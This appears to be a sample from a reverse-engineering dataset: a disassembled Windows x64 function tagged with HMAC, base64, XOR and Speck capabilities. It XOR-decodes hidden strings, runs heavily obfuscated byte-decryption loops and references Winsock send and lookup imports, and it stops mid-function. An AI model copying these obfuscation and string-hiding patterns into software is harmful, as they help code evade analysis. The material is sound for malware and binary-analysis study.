Function at 0x1401677b0
Capabilities:
Authenticate hmac
Encode data using base64
Encode data using xor
Encrypt data using speck

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa48]
sub rsp, 0xb48
movaps xmmword [rsp + 0xb30], xmm6
xor r14d, r14d
lea rdx, [0x140443eb9]
lea rcx, [rbp + 0x4d8]
call fcn.14013a940
nop
lea rcx, [rbp + 0x4f8]
call fcn.140135fd0
nop
lea rcx, [rbp + 0x518]
call fcn.140135fd0
nop
mov esi, r14d
nop dword [rax]
mov edx, esi
lea rcx, [rbp + 0x538]
call fcn.140167480
mov rdx, rax
lea rcx, [rbp + 0x518]
call fcn.140135df0
lea rcx, [rbp + 0x538]
call fcn.1401362c0
cmp qword [rbp + 0x528], 0
je 0x140167920
lea rdx, [rbp + 0x518]
lea rcx, [rbp + 0x558]
call fcn.14013a6e0
mov rdx, rax
lea rcx, [rbp + 0x518]
call fcn.140135df0
lea rcx, [rbp + 0x558]
call fcn.1401362c0
lea rcx, [rbp + 0x518]
cmp qword [rbp + 0x508], 0
jbe 0x1401678ce
call fcn.140135dc0
mov rdi, rax
lea rcx, [rbp + 0x4f8]
call fcn.140135dc0
mov rbx, rax
lea rdx, str._s_s
lea rcx, [rbp + 0x578]
call fcn.14013a940
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x598]
call fcn.140155d40
lea rbx, [rbp + 0x598]
jmp 0x140167902
call fcn.140135dc0
mov rbx, rax
lea rdx, [0x1404472d8]
lea rcx, [rbp + 0x5b8]
call fcn.14013a940
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x5d8]
call fcn.140155d40
lea rbx, [rbp + 0x5d8]
inc esi
lea rcx, [rbp + 0x4f8]
mov rdx, rax
call fcn.140135df0
mov rcx, rbx
call fcn.1401362c0
jmp 0x140167810
lea rcx, [rbp + 0x518]
call fcn.1401676e0
lea rdx, [rbp + 0x518]
lea rcx, [rbp + 0x5f8]
call fcn.14013a6e0
mov rdx, rax
lea rcx, [rbp + 0x518]
call fcn.140135df0
lea rcx, [rbp + 0x5f8]
call fcn.1401362c0
lea rcx, [rbp + 0x518]
call fcn.140135dc0
mov rdi, rax
lea rcx, [rbp + 0x4f8]
call fcn.140135dc0
mov rbx, rax
lea rdx, [0x1404472dc]
lea rcx, [rbp + 0x618]
call fcn.14013a940
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x638]
call fcn.140155d40
nop
mov rcx, rax
call fcn.140135dc0
mov r13, 0xffffffffffffffff
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x1401679b3
mov rdx, rax
lea rcx, [rbp + 0x4d8]
call fcn.140136400
nop
lea rcx, [rbp + 0x638]
call fcn.1401362c0
xor r9d, r9d
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x9d0]
call fcn.1401a1cd0
nop
lea rcx, [rbp + 0x9d0]
call fcn.1401a2120
mov r15, qword [rbp + 0x9e0]
mov qword [rsp + 0x60], r15
mov r8b, 0x7c
lea rdx, [rbp + 0x4d8]
lea rcx, [rbp + 0x450]
call fcn.140143980
nop
lea rcx, [rbp + 0x200]
call fcn.1401a21a0
nop
lea rcx, [rbp + 0x200]
call fcn.1401a1f70
mov r12d, r14d
mov rdx, qword [rbp + 0x458]
mov rax, rdx
mov rcx, qword [rbp + 0x450]
sub rax, rcx
sar rax, 5
test rax, rax
je 0x140167bc8
xor r15d, r15d
cmp qword [rcx + r15 + 0x10], 2
jbe 0x140167ba6
shl r14, 5
lea rsi, [rcx + r14]
lea rdx, [rsp + 0x68]
mov rcx, rsi
call fcn.14013e7d0
mov rdi, qword [rax]
mov rcx, qword [rbp + 0x450]
add rcx, r14
lea rdx, [rsp + 0x70]
call fcn.14013e7d0
mov rbx, qword [rax]
mov rcx, qword [rbp + 0x450]
add rcx, r14
lea rdx, [rsp + 0x78]
call fcn.14013e7f0
lea r9, [0x140167790]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp - 0x80]
call fcn.1401a7440
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rbp - 0x30]
mov rcx, rsi
call fcn.1401a35a0
mov rsi, qword [rbp + 0x450]
add rsi, r14
lea rdx, [rbp - 0x78]
mov rcx, rsi
call fcn.14013e7d0
mov rdi, qword [rax]
mov rcx, qword [rbp + 0x450]
add rcx, r14
lea rdx, [rbp - 0x70]
call fcn.14013e7d0
mov rbx, qword [rax]
mov rcx, qword [rbp + 0x450]
add rcx, r14
lea rdx, [rbp - 0x68]
call fcn.14013e7f0
lea r9, [0x140167770]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp - 0x60]
call fcn.1401a7440
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rbp - 0x58]
mov rcx, rsi
call fcn.1401a35a0
lea rcx, [rbp + 0x210]
call fcn.1401a21a0
mov rdi, rax
mov rcx, qword [rbp + 0x450]
mov rbx, qword [rcx + r15 + 0x10]
add rcx, r14
call fcn.140135dc0
mov r9, qword [rsp + 0x60]
mov r8d, ebx
mov rdx, rax
mov rcx, rdi
call fcn.1401a1dc0
mov rdx, rax
mov r8, qword [rsp + 0x60]
lea rcx, [rbp + 0x200]
call fcn.1401a1ec0
nop
lea rcx, [rbp + 0x210]
call fcn.140135de0
mov rdx, qword [rbp + 0x458]
mov rcx, qword [rbp + 0x450]
inc r12d
add r15, 0x20
mov rax, rdx
sub rax, rcx
sar rax, 5
movsxd r14, r12d
cmp r14, rax
jb 0x140167a60
mov r15, qword [rsp + 0x60]
mov eax, dword [str.Q_DSJ:]
mov dword [rsp + 0x48], eax
movzx eax, word [0x140448bfc]
mov word [rsp + 0x4c], ax
movzx eax, word [0x140448d80]
mov word [rbp + 0x1b8], ax
movzx eax, byte [0x140448d82]
mov byte [rbp + 0x1ba], al
mov eax, dword [str._WZ_9]
mov dword [rbp + 0xaa0], eax
movzx eax, byte [0x140447fdc]
mov byte [rbp + 0xaa4], al
mov eax, dword [0x140448d98]
mov dword [rbp + 0x1e8], eax
movzx eax, byte [0x140448d9c]
mov byte [rbp + 0x1ec], al
mov eax, dword [str.VFBK9]
movsd xmm0, qword [str.VFBgWOVXL_]
mov dword [rbp + 0xaa8], eax
movsd qword [rbp + 0x1b0], xmm0
movzx eax, byte [0x14044a06c]
movsd xmm0, qword [0x140448d90]
mov byte [rbp + 0xaac], al
movsd qword [rbp + 0x1e0], xmm0
mov byte [rsp + 0x48], 0x64
xor byte [rsp + 0x49], 0x36
xor byte [rsp + 0x4a], 0x37
xor byte [rsp + 0x4b], 0x38
xor byte [rsp + 0x4c], 0x39
xor byte [rsp + 0x4d], 0x3a
mov r8, r15
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x220]
call fcn.1401a2160
nop
mov r9, r15
lea r8, [rbp + 0x200]
mov rdx, rax
lea rcx, [rbp + 0x9d0]
call fcn.1401a4ba0
nop
lea rcx, [rbp + 0x220]
call fcn.140135de0
mov dword [rbp + 0x858], 0x1c141e03
mov dword [rbp + 0x85c], 0xd5dc091f
mov dword [rbp + 0x860], 0x323227de
mov dword [rbp + 0x864], 0x2cdde52d
mov dword [rbp + 0x868], 0x2afafc28
mov dword [rbp + 0x86c], 0x2a3d3fda
mov dword [rbp + 0x870], 0x22252429
mov word [rbp + 0x874], 0x9520
xor eax, eax
mov dword [rbp + 0x876], eax
mov word [rbp + 0x87a], ax
movabs rdi, 0xb02146a6bb896317
movabs rsi, 0x72bacbad624520e3
movabs r14, 0xa2115c87d398cd7d
movabs r12, 0x41cecf3a5c86074f
movzx ebx, byte [rbp + 0xa98]
nop word [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor r11d, r11d
cmp r11, 0x24
jae 0x1401689b0
movzx r10d, byte [rbp + r11 + 0x858]
movzx edx, r10b
nop word [rax + rax]
cmp r8, r11
ja 0x1401689a7
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x140167dab
lea rcx, [r11 + rdi]
mov rax, rcx
and rax, r10
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r10
add bl, 0x5f
jmp 0x140167de5
je 0x140168933
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401688a8
lea rax, [r9 + 5]
cmp r8, rax
je 0x14016883f
lea rax, [rcx + 1]
cmp r8, rax
je 0x140168815
lea rax, [r9 + 9]
cmp r8, rax
je 0x1401687cb
movzx edx, r10b
nop dword [rax]
cmp r9, r11
ja 0x14016899e
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x140167e18
lea rcx, [r11 + rsi]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x35
jmp 0x140167e60
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1401687ad
lea rax, [r9 + 2]
cmp r8, rax
je 0x140168786
lea rax, [r9 + 3]
cmp r8, rax
je 0x140168753
lea rax, [r9 + 6]
cmp r8, rax
je 0x140168732
lea rax, [rcx + 1]
cmp r8, rax
je 0x14016870d
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1401683e8
nop dword [rax]
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1401683cc
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401683a8
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140168384
lea rax, [r9 + 2]
cmp r8, rax
je 0x140168363
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140168336
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14016830c
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1401682ee
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1401682d0
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1401682a3
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x200]
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140168982
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140168966
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14016802f
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140168016
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140167ffd
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140168257
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1401681f9
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1401681bc
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140168196
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140167e70
lea r8, [r9 + 0x40]
lea r9, [r8 + 3]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140168166
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140168148
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14016812c
lea rcx, [r9 + 0x64]
cmp r8, rcx
ja 0x140168102
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1401680d2
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1401680b4
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140168093
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14016806f
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140168051
mov r8, rcx
lea r9, [rcx + 5]
jmp 0x140167e70
lea rcx, [r11 + r14]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x6b
jmp 0x140167e60
lea rcx, [r11 + r12]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x29
jmp 0x140167df0
movabs rcx, 0xe18c41ece5734121
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 0x19
jmp 0x140167d80
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1401687eb
lea ecx, [r11 - 0x16]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x66
inc r9
dec r11
inc r11
jmp 0x140167d63
lea ecx, [r11 - 0x44]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x24
dec r11
inc r11
jmp 0x140167d63
lea edx, [r11 - 0x72]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x14016885f
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140167d63
lea ecx, [r11 + 0x32]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x5e
movzx eax, bl
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140167d63
lea edx, [r11 + 4]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x1c
add bl, dl
jmp 0x1401688c8
lea edx, [r11 - 0x2a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1401688f0
lea edx, [r11 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rbp + r11 + 0x858]
add rax, r9
add r11, rax
inc r11
jmp 0x140167d63
lea ecx, [r11 + 0x35]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x73
mov byte [rbp + r11 + 0x858], bl
inc r11
jmp 0x140167d63
lea edx, [r11 + 7]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x31
add bl, dl
cmp r9, 3
jb 0x1401681ac
lea edx, [r11 + 0x2a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x4c]
jmp 0x1401687eb
lea edx, [r11 - 0x27]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x11
add bl, dl
cmp r8, 1
jae 0x1401686d0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401685fc
lea edx, [r11 - 0x74]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rbp + r11 + 0x858]
add rax, r9
add r11, rax
inc r11
jmp 0x140167d63
lea edx, [r11 - 0x55]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x53
add bl, dl
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x1401686f2
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x1401684f0
lea edx, [r11 + 0x7b]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x5d
jmp 0x14016820e
lea ecx, [r11 + 0x52]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x3e
movzx eax, byte [rbp + r11 + 0x858]
add rax, r9
add r11, rax
inc r11
jmp 0x140167d63
lea edx, [r11 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1401688f0
lea edx, [r11 - 0xa]
movzx eax, r10b
and al, dl
mov ecx, 0x23
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1401688c8
lea ecx, [r11 - 0x38]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x78
movzx eax, bl
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140167d63
lea ecx, [r11 - 0x66]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x36
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140167d63
movzx edi, r11b
lea edx, [rdi + 0x6c]
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x140168863
lea edx, [r11 + 0x3e]
movzx eax, r10b
and al, dl
mov ecx, 0x27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
dec r11
inc r11
jmp 0x140167d63
lea ecx, [r11 + 0x10]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x70
inc r9
dec r11
inc r11
jmp 0x140167d63
lea edx, [r11 - 0x1e]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x2e
add bl, dl
jmp 0x1401687eb
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x14016840a
lea rcx, [r11 + rdi]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 0x5f
jmp 0x14016826e
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140168440
lea ecx, [r11 - 0x3a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x6a
movzx eax, byte [rbp + r11 + 0x858]
add rax, r9
add r11, rax
inc r11
jmp 0x140167d63
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140168467
lea edx, [r11 + 0x22]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1401688c8
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14016849a
lea ecx, [r11 + 0x50]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x30
movzx eax, bl
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140167d63
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1401684c7
lea edx, [r11 - 0x26]
movzx eax, r10b
and al, dl
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
dec r11
inc r11
jmp 0x140167d63
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14016826e
lea edx, [r11 + 0x36]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x7a
add bl, dl
jmp 0x1401687eb
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140168515
lea edx, [r11 - 0x57]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x61
add bl, dl
jmp 0x1401687eb
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016853f
lea ecx, [r11 + 5]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x23
dec r11
inc r11
jmp 0x140167d63
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140168567
movzx edi, r11b
lea edx, [rdi + 0x33]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x65
add bl, dl
jmp 0x140168863
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14016859d
lea ecx, [r11 + 0x61]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 0x59
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140167d63
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401685c2
lea edx, [r11 - 0x43]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x2b
add bl, dl
jmp 0x1401688c8
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140168210
lea ecx, [r11 + 0x19]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 0x51
movzx eax, byte [rbp + r11 + 0x858]
add rax, r9
add r11, rax
inc r11
jmp 0x140167d63
inc rax
cmp r8, rax
jne 0x140168620
lea edx, [r11 - 0x46]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x16
add bl, dl
jmp 0x1401688f0
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140168645
lea edx, [r11 - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x58
add bl, dl
jmp 0x1401688c8
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016867b
lea edx, [r11 + 0x16]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyaddr
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, bl
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140167d63
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1401686a5
lea ecx, [r11 - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x60
dec r11
inc r11
jmp 0x140167d63
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1401681d3
lea edx, [r11 - 4]
movzx eax, r10b
and al, dl
mov ecx, recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1401687eb
movzx edi, r11b
lea edx, [rdi + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x68
add bl, dl
add bl, r10b
jmp 0x140168863
lea edx, [r11 - 0x7a]
movzx eax, r10b
and al, dl
mov ecx, 0x2b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1401688c8
movabs rax, 0x74cf36191adb5253
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea ebx, [rdx + rax]
sub bl, 0x45
movzx r10d, dl
jmp 0x1401688f0
movabs rax, 0x148ca8cba3c88c25
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea ebx, [rdx + rax]
sub bl, 3
jmp 0x1401688c4
movabs rax, 0x54078e30b5a2ffc9
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea ebx, [rdx + rax]
sub bl, 0x7f
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140167d63
movabs rax, 0x93827395c77d736d
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea ebx, [rdx + rax]
add bl, 5
dec r11
inc r11
jmp 0x140167d63
movabs rax, 0xd2fd58fad957e711
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea ebx, [rdx + rax]
sub bl, 0x77
jmp 0x1401687e7
movabs rax, 0x12783e5feb325ab5
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea ebx, [rdx + rax]
add bl, 0xd
movzx r10d, dl
lea ecx, [r11 + 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x39
add cl, r10b
mov byte [rbp + r11 + 0x858], cl
inc r9
dec r11
inc r11
jmp 0x140167d63
movabs rax, 0xb235b112741f9487
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea ebx, [rdx + rax]
add bl, 0x4f
inc r9
dec r11
inc r11
jmp 0x140167d63
movabs rax, 0xf1b0967785fa082b
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea ebx, [rdx + rax]
sub bl, 0x2d
movzx r10d, dl
movzx edi, r11b
add dil, 0x6f
movzx eax, dil
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
sub dil, 9
add cl, dil
add cl, r10b
mov byte [rbp + r11 + 0x858], cl
movabs rdi, 0xb02146a6bb896317
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140167d63
movabs rax, 0xd0e8ee8f20c1b5a1
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea ebx, [rdx + rax]
sub bl, 0x67
movzx r10d, dl
lea ecx, [r11 - 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x4b
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x858], al
inc r9
add rax, r9
sub r11, rax
lea edx, [r11 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x858], cl
inc r8
mov rax, r13
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x858]
add rax, r9
add r11, rax
inc r11
jmp 0x140167d63
movabs rax, 0x1063d3f4329c2945
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea ebx, [rdx + rax]
add bl, 0x1d
movzx eax, byte [rbp + r11 + 0x858]
add rax, r9
add r11, rax
inc r11
jmp 0x140167d63
sub r11b, 0xd
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x5b
jmp 0x140167d60
sub r11b, 0x3b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x63
jmp 0x140167d50
lea rdx, [rbp + 0x14e9bcc]
jmp 0x1401689b7
lea rdx, [rbp + 0x157fee3]
jmp 0x1401689b7
lea rdx, [rbp + 0x858]
lea rcx, [rbp + 0x658]
call fcn.14013a940
nop
lea rdx, [rbp + 0x658]
lea rcx, [rbp + 0x8e8]
call fcn.140153c20
nop
mov esi, dword [0x14047f088]
cmp byte [rbp + 0x8e8], 0
je 0x14016a7fc
lea rcx, [rbp + 0x230]
call fcn.1401a21a0
nop
lea rcx, [rbp + 0x230]
call fcn.1401a1f70
lea rcx, [rbp + 0x240]
call fcn.1401a21a0
nop
mov rdx, qword [rbp + 0x8f8]
sub rdx, qword [rbp + 0x8f0]
sar rdx, 3
mov rcx, rax
call fcn.1401a1e80
mov rbx, rax
movzx ecx, byte [rbp + 0x1ba]
test cl, cl
je 0x140168a88
xor byte [rbp + 0x1b0], 0x35
xor byte [rbp + 0x1b1], 0x36
xor byte [rbp + 0x1b2], 0x37
xor byte [rbp + 0x1b3], 0x38
xor byte [rbp + 0x1b4], 0x39
xor byte [rbp + 0x1b5], 0x3a
xor byte [rbp + 0x1b6], 0x3b
xor byte [rbp + 0x1b7], 0x3c
xor byte [rbp + 0x1b8], 0x3d
xor byte [rbp + 0x1b9], 0x3e
xor cl, 0x3f
mov byte [rbp + 0x1ba], cl
mov r8, r15
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x250]
call fcn.1401a2160
nop
mov r9, r15
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x9d0]
call fcn.1401a4ba0
nop
lea rcx, [rbp + 0x250]
call fcn.140135de0
nop
lea rcx, [rbp + 0x240]
call fcn.140135de0
xor edi, edi
mov r13d, edi
mov rax, qword [rbp + 0x8f8]
sub rax, qword [rbp + 0x8f0]
sar rax, 3
test rax, rax
je 0x14016a77c
mov ebx, edi
movzx r14d, byte [rbp + 0xa98]
movzx esi, byte [rbp + 0xa98]
nop
lea rcx, [rbp + 0x678]
call fcn.140135fd0
nop
lea rcx, [rbp + 0x698]
call fcn.140135fd0
nop
lea r15, [rbx*8]
mov r12, qword [rbp + 0x8f0]
add r12, r15
mov dword [rbp + 0x4b7], 0x86bf8c9e
mov byte [rbp + 0x4bb], 0x28
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4bc], xmm0
mov qword [rbp + 0x4cc], rax
mov word [rbp + 0x4d4], ax
nop word [rax + rax]
mov r9, qword [0x1404e9d00]
mov r11, qword [0x1404e9cf8]
nop
mov rbx, rdi
cmp rbx, 0x1f
jae 0x140169705
movzx r10d, byte [rbp + rbx + 0x4b7]
mov edi, r10d
nop dword [rax]
cmp r9, rbx
ja 0x1401696fc
lea rax, [r11 + 1]
cmp r9, rax
jae 0x140168bc5
movabs rcx, 0x88d88b7f6c731d5a
add rcx, rbx
mov rax, rdi
and rax, rcx
imul r14, rax, 0xfffffffffffffffe
add r14, rdi
add r14, rcx
sub r14b, 0x76
jmp 0x140168bff
je 0x140169681
lea rax, [r11 + 3]
cmp r9, rax
je 0x14016964a
lea rax, [r11 + 5]
cmp r9, rax
je 0x140169604
lea rax, [r11 + 4]
cmp r9, rax
je 0x1401695df
lea rax, [r11 + 6]
cmp r9, rax
je 0x140169593
movzx r8d, bl
cmp r11, rbx
ja 0x1401696f3
lea rax, [r11 + 0x80]
cmp r9, rax
jae 0x140168c35
lea edx, [r8 + 0x62]
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x140168c70
lea rax, [r11 + 1]
cmp r9, rax
je 0x140169588
lea rax, [r11 + 3]
cmp r9, rax
je 0x140169565
lea rax, [r11 + 2]
cmp r9, rax
je 0x140169545
lea rax, [r11 + 8]
cmp r9, rax
je 0x140169513
nop dword [rax]
lea rax, [r11 + r9]
cmp rax, rbx
jbe 0x140169214
nop dword [rax]
lea rax, [r11 + 0x3e8]
cmp r9, rax
je 0x1401691f4
lea rax, [r11 + 0x28]
cmp r9, rax
je 0x1401691ca
lea rax, [r11 + 6]
cmp r9, rax
je 0x1401691a3
lea rax, [r11 + 0x2a]
cmp r9, rax
je 0x140169184
lea rax, [r11 + 0x400]
cmp r9, rax
je 0x140169164
